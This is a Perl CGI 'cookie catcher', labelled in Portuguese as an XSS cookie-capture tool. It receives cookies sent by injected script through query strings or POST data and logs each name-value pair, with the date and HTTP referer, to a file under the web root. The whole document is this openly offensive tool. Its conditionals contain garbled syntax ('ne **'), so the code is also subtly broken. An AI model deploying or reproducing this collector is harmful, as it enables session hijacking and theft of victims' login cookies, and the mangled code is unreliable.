Xss [capturar cookie]

#!/usr/bin/perl

# Capturando data
chomp($DATE = `date`);

# Log do diretório
$dir = "/var/www/html/lodgir";

# Log de arquivo
$file = "$dir/log.txt";

# Teste HTML de um browser
print "Content-type: text/html\n\n";

# Abertura de arquivo LOG
open(LOG,">>$file");

# Coletando dados HTML (POST)
&getDATA;

# Fechando arquivo LOG
close(LOG);

sub getDATA
{
    # Coloque Dados POST dentro da variavel
    if ($ENV{'QUERY_STRING'} ne **)
    {
        $buffer = $ENV{'QUERY_STRING'};
    }

    elsif($ENV{'CONTENT_LENGTH'} ne **)
    {
        # Leitura
        read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
    }

    elsif($#ARG > -1)
    {
        chomp($buffer = $ARG[0]);
    }

    @pairs = split(/;%20/, $buffer);

    print "--------------------------------------------------------<BR>\n";
    print LOG "--------------------------------------------------------\n";

    $HTTP_REFERER = $ENV{'HTTP_REFERER'};
    print "HTTP_REFERER: $HTTP_REFERER<BR>\n";
    print LOG "HTTP_REFERER: $HTTP_REFERER\n";

    # Enumeracao
    foreach $pair (@pairs)
    {
        ($name, $value) = split(/=/, $pair);

        $value =~ tr/+/ /;
        $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

        $FORM{$name} = $value;

        print "DATE: $DATE; NAME: $name;VALUE: $value<BR>\n";
        print LOG "DATE: $DATE; NAME: $name; VALUE; $value\n";
    }

    print "--------------------------------------------------------<BR>\n";
    print LOG "--------------------------------------------------------\n";
}